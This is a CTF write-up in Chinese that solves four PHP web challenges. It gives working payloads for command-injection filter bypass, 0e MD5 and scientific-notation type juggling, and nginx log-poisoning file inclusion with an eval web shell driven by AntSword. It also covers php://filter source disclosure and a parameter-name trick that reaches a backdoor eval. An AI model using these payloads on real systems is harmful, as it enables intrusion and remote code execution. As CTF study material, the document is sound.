1.[MoeCTF 2021]babyRCE
代码审计,rce,没有过滤ls,直接传参?rce=ls
有flag.php,直接cat命令打开
构造:?rce=c\at${IFS}fl\ag.php
打开源代码
也可以用tac命令
?rce=ta\c%09f\lag.php
可以直接打印出来
2.[SWPUCTF 2022 新生赛]funny_php
<?phpsession_start();highlight_file(__FILE__);if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){include('flag.php');echo $flag;}?>
审计代码
GET传参num,检查是否存在,并且字符是否小于等于3,大于999999999
如果成立,则输出D,到达下一关,使用科学计数法,构造?num=9e9
GET传参str,正则匹配了NSSCTF,需要str等于NSSCTF
用双写绕过
构造:?num=9e9&str=NSSNSSCTFCTF
post传参md5_1和md5_2
两个都需要是字符串,那么数组就不可以使用,需要md5_1,md5_2的值不一样,但是二者的MD5值一样,0e绕过
构造:md5_1=s155964671a&md5_2=s878926199a
涉及科学记数法绕过,双写绕过,0e绕过
3.[HNCTF 2022 WEEK2]easy_include
GET传参file,尝试/etc/passwd,
进过搜索后, nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
有日志包含漏洞
apache服务器日志存放文件位置:/var/log/apache/access.log
nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log
所以,构造:?file=/var/log/nginx/access.log
nginx服务器,可以看到回显的是ua报文头,同理,我们在ua头构造一句话木马 .
抓包,写入一句话木马:<?php system('ls /');?>
需要点击两次发送,第一次是写入木马,第二次是执行木马
接着就可以用cat命令读取flag
涉及nginx服务器日志包含漏洞,可在回显出写入一句话木马。
当然一句话木马也可以写:
<?php eval($_POST['cmd']); ?>
传入成功后链接蚁剑
url :http://node5.anna.nssctf.cn:20241/?file=/var/log/nginx/access.log
密码:cmd
4.[NSSRound#8 Basic]MyDoor
进去后是一个空白页面,但有file参数
使用伪协议读取index.php的 内容
构造:?file=php://filter/convert.base64-encode/resource=index.php
得到:
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaWYgKGlzc2V0KCRfR0VUWydOX1MuUyddKSkgew0KICAgIGV2YWwoJF9HRVRbJ05fUy5TJ10pOw0KfQ0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxsYXxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGUgJGZpbGU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCdlcnJvci4nKTsNCiAgICB9DQp9
解码:
<?php
error_reporting(0);if (isset($_GET['N_S.S'])) {eval($_GET['N_S.S']);
}if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include $file;} else {die('error.');}
}
发现还有一个参数N_S.S
但是不能够直接这样传参,需要用[代替
根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造的话N_S.S,最后php执行的是N_S_S,因此我们将前面的_用[代替
当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
所以构造:?N[S.S=phpinfo();
查看配置信息,里面匹配到flag
涉及到filter协议读取index.php源码,php非法传参